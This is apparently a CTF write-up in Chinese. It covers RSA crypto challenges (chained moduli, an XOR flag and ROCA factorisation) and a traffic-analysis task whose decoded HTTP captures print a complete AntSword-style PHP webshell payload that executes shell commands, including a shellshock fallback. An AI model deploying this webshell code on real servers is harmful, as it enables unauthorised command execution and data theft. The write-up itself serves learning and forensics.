n16 = 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671
n17 = 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167
n18 = 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793
n19 = 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101
n20 = 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579
n21 = 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087
n22 = 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933
n23 = 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531
n24 = 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201
n25 = 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399
n26 = 1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563
e = 113
c = 1028324919038104683475485759234995158466543298184637219012354053883391759172761125802189697762778242175407876548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159

p26 = 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617
q26 = 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539
p25 = 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227
q25 = 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037
p24 = 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531
q24 = 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571
p23 = 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891
q23 = 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041
p22 = 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737
q22 = 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909
p21 = 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173
q21 = 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619
p20 = 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057
q20 = 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747
p19 = 4479430800690915874719403516331677127806963529247809966024777708496270901092401687
q19 = 5467527956822382309398095704409409074818664888285375307055715842283183939297839923
p18 = 15874438801602936764330936047390981280096007684699625987478211613419079727910193
q18 = 26984206512970181742033712455904984758134288864531714209886622060356697128804201
p17 = 102366458668689911004027849640392002821642295855327735994412634235696717329671
q17 = 104379442774418262390337411577160146519860415840398189010112686742489182665577
p16 = 262775599542220820608778738911414710660835549772895468394761119434220071003
q16 = 317277895959173163347650321012213555955385929418622006880521870012130207557
p15 = 2623629589005115152329094552749299711026240699896424120660145647226563547
q15 = 3200631836176555526009533059891690177091538103904679780020639896015937897
p14 = 11136261905010083405430254612464029672882837025885682392810368001188527
q14 = 12445294229358634680867170058509842935273054334385354032543323581223253
p13 = 43449898447639409732732812916430042263570178747794530133229640125923
q13 = 46014074200352892806829193743016415423205917845271691428043440245531
p12 = 66882708962198932251728043152245270662769508317424500666902658099
q12 = 103424977238409568447978495499643051307907366367259219393937014631
p11 = 350121371461894793578110243222665782247737840410076591434903787
q11 = 367712839396521757736384350030802803477965822058616833553305103
p10 = 954412804126450754097808991490470782833291028309980575506163
q10 = 1567597041534155679238655992215022394597376421096298363211067
p9 = 6623023178993627032758350846838617937710601663528839184727
q9 = 9419832152875820180139633405089278278408407453522978357309
p8 = 37185691759470013533730603170661686570987787098353146897
q8 = 41680117092754807988080699273322244961911189757589699867
p7 = 135813272566456906193934636644217527100917542578856697
q7 = 140758317578347635848563045232314610161039815135897421
p6 = 385788223643735590500185001710758495904528462058461
q6 = 576581905150085393327734090419529952232186498060949
p5 = 1656848589754467667368312855929759764100120657831
q5 = 2714357008989072105081411295741540337141142641741
p4 = 7832299017937880395583715032476962329929226581
q4 = 10726403821316775206273675267109184566904426261
p3 = 24335212484189159197840692460327461505035059
q3 = 43974782968656404951924524450501283426052127
p2 = 88067722275537586769787599991567203589751
q2 = 88380889077762105057154017276462714444697
p1 = 232079231415308325450092906880606082069
q1 = 295185057334340451492588650872876746227
p0 = 953730950786751671162019537171974567
q0 = 1189933229053113361422958527792232151


def solve(p, q, c, e, n_):

P.<a>= PolynomialRing(Zmod(p), implementation='NTL')
f = a ^ e - c
mps = f.monic().roots()

P.<a>= PolynomialRing(Zmod(q), implementation='NTL')
g = a ^ e - c
mqs = g.monic().roots()

for mpp in mps:
x = mpp[0]
for mqq in mqs:
y = mqq[0]
solution = CRT_list([int(x), int(y)], [p, q])
if solution < n_:
solutions.append(solution)


p = []
q = []
n_ = []
for i in range(0, 27):
solutions = []
i = 26 - i
print(i)
print("c", c)
eval("p.append(p{0})".format(i))
print('p',p[-1])
eval("q.append(q{0})".format(i))
print('q', q[-1])
if i == 0:
break
eval("n_.append(n{0})".format(i-1))
print("上一个n", n_[-1])
solve(p[-1], q[-1], c, e, n_[-1])
print(solutions)
if i == 21:
c = solutions[0]
elif i==9:
c = solutions[-2]
elif i==5:
c = solutions[0]
else:
c = solutions[-1]
print()
print()


import libnum

p = p[-1]
q = q[-1]

P.<a>=PolynomialRing(Zmod(p),implementation='NTL')
f=a^e-c
mps=f.monic().roots()

P.<a>=PolynomialRing(Zmod(q),implementation='NTL')
g=a^e-c
mqs=g.monic().roots()

for mpp in mps:
x=mpp[0]
for mqq in mqs:
y=mqq[0]
solution = CRT_list([int(x), int(y)], [p, q])
if "DASCTF" in str(libnum.n2s(int(solution))):
print(libnum.n2s(int(solution)).decode())

easy_real

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
import hashlib

flag = 'xxxxxxxxxxxxxxxxxxxx'
key = random.randint(1,10)
for i in range(len(flag)):
crypto += chr(ord(flag[i])^key)
m = crypto的ascii十六进制
e = random.randint(1,100)
print(hashlib.md5(e))
p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
q = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
n = p*q
c = pow(m,e,n)
print(n)
print(c)
#37693cfc748049e45d87b8c7d8b9aacd
#4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
#3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397

简单的签到题

  • 去cmd5上查37693cfc748049e45d87b8c7d8b9aacd得到e=23

  • 知道p、n, q = n// p;phi可求

  • 基础rsa,解出m

  • 转换得到'ndios_;9kgE;WK8e;W?gWn<\;k|nu'

  • 由题意,爆破key

    按照常规格式,flag最后一位应该是}

    由此得到,key=8

  • 异或得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import gmpy2, libnum

n = 4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
c= 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
q = n // p
phi = (p-1)*(q-1)
e = 23

d = int(gmpy2.invert(e, phi))
m = int(pow(c, d, n))
print(hex(m))
num = 1
m = 'ndios_;9kgE;WK8e;W?gWn<\;k|nu'
for i in m:
print('第{0}个字符'.format(num))
for h in range(1, 11):
print('k:', h)
print(chr(ord(i) ^ h))
print()
num += 1
print()
print()


"""
0x6e64696f735f3b396b67453b574b38653b573f67576e3c5c3b6b7c6e75

第29个字符
k: 1
t

k: 2
w

k: 3
v

k: 4
q

k: 5
p

k: 6
s

k: 7
r

k: 8
}

k: 9
|

k: 10




# k = 8
"""

异或

1
2
3
4
5
m = 'ndios_;9kgE;WK8e;W?gWn<\;k|nu'
for i in m:
print(chr(ord(i) ^ 8), end='')

# flag{W31coM3_C0m3_7o_f4T3ctf}

CVE OF RSA | 赛后复现

此题是赛后看了4xwi11师傅的思路后,尝试独立复现的

回顾当时的情形,比赛时间为10: 00 - 18:00

十二点到下午一点之间就已经完成了2/3的密码题了

于是充满干劲地去试此题(AK是梦想哈哈🤤

列出几点不足

  • 知识面窄,不晓得此漏洞

  • 反应慢半拍,以为要嗯研究数学逻辑,然后独立写脚本

    就这样想了两三个小时,期间疯狂搜索,也没思路

  • 思维僵硬,终于找到CVE对应的paper后,没有想到可以去找已有的、现成的代码

    (其实时间也不够了,五点四十几,看到论文就瞑目了,时间太紧没有干劲啃论文了

好,让我们回到五点四十。

  1. 搜到了如下关键词

    The Return of Coppersmith’s Attack

    paper

  2. 此时,不该去望“文”兴叹,去github搜索看看吧!

    直接搜索关键词,没有高质量的代码

    参考4xwi11师傅推荐的仓库

    17年的ROCA(Return of Coppersmith’s attack)漏洞。简单转述一下就是,一些硬件采用以上方法快速产生RSA的私钥,这样产生的公钥n会带有一个指纹,但由于M是光滑数,这个指纹可以很快被攻击者确定,从而分解n

    有个仓库总结了很多密码的攻击,其中就有ROCA,Fr.https://github.com/jvdsn/crypto-attacks.git

  3. 利用其中函数,在roca.py下添加(N从靶机中得来)

    1
    2
    3
    4
    5
    6
    7
    logging.basicConfig(level=logging.DEBUG)

    M = 962947420735983927056946215901134429196419130606213075415963491270
    N = 14481363580917358871472996410471767154481047067466167591298208947805462002275531552979475988627964256677709787930755013972295770123571982960720640872341517
    p_, q_ = factorize(N, M, 5, 6)

    print(f"Found p = {p_} and q = {q_}")

    其中m = 5, t= 6来源如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # roca.py
    def factorize(N, M, m, t, g=65537):
    """
    Recovers the prime factors from a modulus using the ROCA method.
    More information: Nemec M. et al., "The Return of Coppersmith’s Attack: Practical Factorization of Widely Used RSA Moduli"
    :param N: the modulus
    :param M: the primorial used to generate the primes
    :param m: the m parameter for Coppersmith's method
    :param t: the t parameter for Coppersmith's method
    :param g: the generator value (default: 65537)
    :return: a tuple containing the prime factors
    """
    ···

    参数根据论文The Return of Coppersmith’s Attack: Practical Factorization of Widely Used RSA Moduli(https://acmccs.github.io/papers/p1631-nemecA.pdf),n是512位的,则m和t分别取5和6

    m&t

  4. 利用sage解题「 Linux or (类)Unix 终端 」

    • 激活sage conda activate sage

    • 执行roca解题脚本 sage -python roca.py的绝对路径

    • 等待⌛️ 五分钟左右,分解成功

      roca

    • 正常RSA求解m

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      from Crypto.Util.number import  *
      from gmpy2 import invert

      n = 14481363580917358871472996410471767154481047067466167591298208947805462002275531552979475988627964256677709787930755013972295770123571982960720640872341517
      c = 3679892564888936950542940140902963743841717939818025696558626052971555790204073416047068709668040686939721666022034628127241497612925260505783618939964139

      p = 111425929610175462966231922510304239063491575573222700849341403103622849511679
      q = 129964036482177256444505240482938730532498372430648951070700710194345995195123
      phi = (p-1) * (q-1)
      d = invert(0x10001, phi)
      m = pow(c, d, n)
      print(long_to_bytes(m))
      # flag{e28e6991-080d-4587-900d-db3c47139453}

收获

  • 找到了厉害师傅的博客🤔
  • 第一次体验了CVE复现
  • 近一步了解密码解题的思维
  • 发现了一个极好的Crypto-attack仓库

Misc

问卷调查

easyflow

先用wireshark把所有HTTP流量都导出
upload_eea1e678ff86ee76ae1563aab3d03593.png

大致分析了一下
在第11个包开始发现异常

1
2
3
4
5
93748ef4./	2022-04-05 20:30:07	128	0700
../ 2022-04-05 20:30:05 384 0700
.DS_Store 2022-04-05 20:30:12 6148 0644
index.php 2022-04-05 20:11:46 34 0666
3f17a75c06

第13个包发现了flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
4304dd6cf6d./	2022-04-05 20:30:05	384	0700
../ 2022-04-05 20:29:55 3424 0755
mess/ 2022-03-15 18:13:29 384 0755
test/ 2022-04-05 20:30:07 128 0700
air/ 2022-03-31 10:42:34 512 0700
rips/ 2022-02-25 09:16:57 384 0775
CMS/ 2022-01-20 09:29:06 384 0755
test4/ 2022-03-31 17:33:39 384 0700
localhost/ 2022-04-04 17:21:59 640 0775
.DS_Store 2022-04-05 20:30:07 8196 0644
flag.txt 2022-04-05 20:14:30 84 0644
Mccms_v2.5.7.zip 2022-03-31 15:11:18 12986995 0644
8197fe18fb2b

然后在第17个包和第19个包发现了关于flag的线索
17

1
2
3
4
5
f9aa250head: illegal line count -- ../flag.txt
[S]
/Users/chang/Sites/test
[E]
13e3b9

19

1
2
3
4
5
6
625fe869b49eYes,this is the flag file.
And the flag is:
[S]
/Users/chang/Sites/test
[E]
63c1dbf1e811

于是开始分析第16个包的内容

1
a=%40eval(%40base64_decode(%24_POST%5B'kc1b01ee4a605'%5D))%3B&e57fb9c067c677=E8&g479cf6f058cf8=hnY2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0IjtoZWFkIC1uIC4uL2ZsYWcudHh0O2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ%3D%3D&kc1b01ee4a605=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZjlhIi4iYTI1MCI7ZWNobyBAYXNlbmMoJG91dHB1dCk7ZWNobyAiMTNlIi4iM2I5Ijt9b2Jfc3RhcnQoKTt0cnl7JHA9YmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJvMWZhZWJkNGVjM2Q5NyJdLDIpKTskcz1iYXNlNjRfZGVjb2RlKHN1YnN0cigkX1BPU1RbImc0NzljZjZmMDU4Y2Y4Il0sMikpOyRlbnZzdHI9QGJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsiZTU3ZmI5YzA2N2M2NzciXSwyKSk7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiO2lmKHN1YnN0cigkZCwwLDEpPT0iLyIpe0BwdXRlbnYoIlBBVEg9Ii5nZXRl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t9QGZjbG9zZSgkaW9bMV0pO0BmY2xvc2UoJGlvWzJdKTtAcHJvY19jbG9zZSgkcCk7fWVsc2VpZihmZSgnYW50c3lzdGVtJykpe0BhbnRzeXN0ZW0oJGMpO31lbHNlaWYocnVuc2hlbGxzaG9jaygkZCwgJGMpKSB7cmV0dXJuICRyZXQ7fWVsc2VpZihzdWJzdHIoJGQsMCwxKSE9Ii8iICYmIEBjbGFzc19leGlzdHMoIkNPTSIpKXskdz1uZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7JGU9JHctPmV4ZWMoJGMpOyRzbz0kZS0%2BU3RkT3V0KCk7JHJldC49JHNvLT5SZWFkQWxsKCk7JHNlPSRlLT5TdGRFcnIoKTskcmV0Lj0kc2UtPlJlYWRBbGwoKTtwcmludCgkcmV0KTt9ZWxzZXskcmV0ID0gMTI3O31yZXR1cm4gJHJldDt9OyRyZXQ9QHJ1bmNtZCgkci4iIDI%2BJjEiKTtwcmludCAoJHJldCE9MCk%2FInJldD17JHJldH0iOiIiOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7&o1faebd4ec3d97=jmL2Jpbi9zaA%3D%3D

一眼丁真,直接上php,快速处理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 array(4) {
["_GET"]=>
array(0) {
}
["_POST"]=>
array(5) {
["cmd"]=>
string(76) "var_dump(get_defined_vars());@eval(@base64_decode($_POST['kc1b01ee4a605']));"
["e57fb9c067c677"]=>
string(2) "E8"
["g479cf6f058cf8"]=>
string(98) "hnY2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0IjtoZWFkIC1uIC4uL2ZsYWcudHh0O2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ=="
["kc1b01ee4a605"]=>
string(3476) "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3R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WRBbGwoKTtwcmludCgkcmV0KTt9ZWxzZXskcmV0ID0gMTI3O31yZXR1cm4gJHJldDt9OyRyZXQ9QHJ1bmNtZCgkci4iIDI+JjEiKTtwcmludCAoJHJldCE9MCk/InJldD17JHJldH0iOiIiOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7"
["o1faebd4ec3d97"]=>
string(14) "jmL2Jpbi9zaA=="
}

首先处理一下最长的kc1b01ee4a605

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out)
{
return $out;
}

;
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "f9a" . "a250";
echo @asenc($output);
echo "13e" . "3b9";
}

ob_start();
try {
$p = base64_decode(substr($_POST["o1faebd4ec3d97"], 2));
$s = base64_decode(substr($_POST["g479cf6f058cf8"], 2));
$envstr = @base64_decode(substr($_POST["e57fb9c067c677"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f)
{
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
}

;
function runshellshock($d, $c)
{
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}

;
function runcmd($c)
{
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("
", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}

;
$ret = @runcmd($r . " 2>&1");
print ($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

这两个函数十分关键

1
2
$p = base64_decode(substr($_POST["o1faebd4ec3d97"], 2));
$s = base64_decode(substr($_POST["g479cf6f058cf8"], 2));

因为$_POST["o1faebd4ec3d97"]有亿点短,
直接先看看$s是个嘛玩意

1
cd "/Users/chang/Sites/test";head -n ../flag.txt;echo [S];pwd;echo [E]

嗯哼

直接看第18个包,继续古法炮制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
array(4) {
["_GET"]=>
array(0) {
}
["_POST"]=>
array(5) {
["cmd"]=>
string(77) "var_dump(get_defined_vars());@eval(@base64_decode($_POST['t14ae029df18c6']));"
["e57fb9c067c677"]=>
string(2) "rX"
["g479cf6f058cf8"]=>
string(98) "flY2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0IjtoZWFkIC1uIDIgLi4vZmxhZy50eHQ7ZWNobyBbU107cHdkO2VjaG8gW0Vd"
["o1faebd4ec3d97"]=>
string(14) "VyL2Jpbi9zaA=="
["t14ae029df18c6"]=>
string(3492) "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiNjI1ZmU4Ii4iNjliNDllIjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI2M2MxZGIiLiJmMWU4MTEiO31vYl9zdGFydCgpO3RyeXskcD1iYXNlNjRfZGVjb2RlKHN1YnN0cigkX1BPU1RbIm8xZmFlYmQ0ZWMzZDk3Il0sMikpOyRzPWJh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zKCRmcCwyMDQ4KSk7fUBwY2xvc2UoJGZwKTt9ZWxzZWlmKGZlKCdwcm9jX29wZW4nKSl7JHAgPSBAcHJvY19vcGVuKCRjLCBhcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpLCAkaW8pO3doaWxlKCFAZmVvZigkaW9bMV0pKXtwcmludChAZmdldHMoJGlvWzFdLDIwNDgpKTt9d2hpbGUoIUBmZW9mKCRpb1syXSkpe3ByaW50KEBmZ2V0cygkaW9bMl0sMjA0OCkpO31AZmNsb3NlKCRpb1sxXSk7QGZjbG9zZSgkaW9bMl0pO0Bwcm9jX2Nsb3NlKCRwKTt9ZWxzZWlmKGZlKCdhbnRzeXN0ZW0nKSl7QGFudHN5c3RlbSgkYyk7fWVsc2VpZihydW5zaGVsbHNob2NrKCRkLCAkYykpIHtyZXR1cm4gJHJldDt9ZWxzZWlmKHN1YnN0cigkZCwwLDEpIT0iLyIgJiYgQGNsYXNzX2V4aXN0cygiQ09NIikpeyR3PW5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTskZT0kdy0+ZXhlYygkYyk7JHNvPSRlLT5TdGRPdXQoKTskcmV0Lj0kc28tPlJlYWRBbGwoKTskc2U9JGUtPlN0ZEVycigpOyRyZXQuPSRzZS0+UmVhZEFsbCgpO3ByaW50KCRyZXQpO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0+Z2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs="
}

看到这熟悉格式,直接把g479cf6f058cf8的前两个删去然后base64

1
cd "/Users/chang/Sites/test";head -n 2 ../flag.txt;echo [S];pwd;echo [E]

就这么试,然后在第20个包里找到了

1
cd "/Users/chang/Sites/test";zip -P PaSsZiPWorD flag.zip ../flag.txt;echo [S];pwd;echo [E]

flag被压缩了QWQ,还是有密码的

继续分析后面的流量,在最后一个包里看到了一个压缩包文件

1
2
3
4
5
6
eb327956PK 	  稀匱 3讄X   T   
../flag.txtUT ?LbK6Lbux
? 
p=T狶鷯T?? y鰑胆帥b朘?突D腳{蠥t隋僌h?g<O<k<怱???Y塚槧旚輷崉 柙綾?T杒懲PK 3讄X T PK 稀匱 3讄X T
 ../flag.txtUT ?Lbux
? PK Q ? 44e71eb66

掐头去尾,扔到winhex里面,然后用密码PaSsZiPWorD解压

1
2
3
Yes,this is the flag file.
And the flag is:
DASCTF{f3f32f434eddbc6e6b5043373af95ae8}

其他题解

师傅们太厉害了 Orz

(完)